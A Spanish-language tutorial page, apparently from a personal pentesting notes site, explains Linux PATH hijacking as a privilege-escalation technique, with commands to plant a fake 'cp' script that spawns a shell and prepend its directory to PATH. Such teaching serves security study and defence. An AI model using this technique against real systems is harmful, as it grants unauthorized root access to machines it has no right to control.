> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/docs/escalada-de-privilegios/path-hijacking.md).

# Path Hijacking

## Introducción

**Path Hijacking** es una técnica de escalada de privilegios que aprovecha cómo Linux (y otros sistemas Unix-like) resuelve la ejecución de comandos. Al manipular la variable de entorno `PATH`, un atacante puede **redireccionar la ejecución de comandos legítimos hacia binarios maliciosos** colocados estratégicamente.

Este vector es especialmente efectivo cuando:

* Un script se ejecuta como root y llama a comandos sin ruta absoluta (`ls`, `cp`, `rm`, etc.).
* Se ejecutan binarios desde `sudo` con privilegios elevados sin restricciones de entorno.

***

## ¿Cómo funciona?

Linux busca los binarios que ejecutamos usando el orden definido en la variable de entorno `PATH`, que es una lista de directorios separados por `:`.

Por ejemplo:

```bash
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

Si un script ejecuta simplemente:

```bash
cp archivo.txt /backup/
```

Y no especifica `/bin/cp`, el sistema buscará `cp` en el primer directorio listado en `PATH`.

> Si un atacante puede modificar `PATH` o colocar un binario malicioso en un directorio anterior, **ese binario se ejecutará en su lugar**.

***

## Explotación (Ejemplo práctico)

#### 1. Crear un binario malicioso

```bash
echo -e '#!/bin/bash\n/bin/bash' > cp
chmod +x cp
```

Este `cp` falso simplemente lanza una shell.

#### 2. Modificar el `PATH`

```bash
mkdir /tmp/fakebin
mv cp /tmp/fakebin/
export PATH=/tmp/fakebin:$PATH
```

Ahora cualquier comando `cp` ejecutará nuestro binario falso.

#### 3. Esperar que se ejecute un script vulnerable

Si un script o binario con privilegios de root ejecuta `cp` sin ruta absoluta y `PATH` no está sanamente definido o es heredado del usuario... se ejecutará nuestro payload.

***

## Más Información

* [DeepHacking – Path Hijacking](https://deephacking.tech/path-hijacking-y-library-hijacking/)
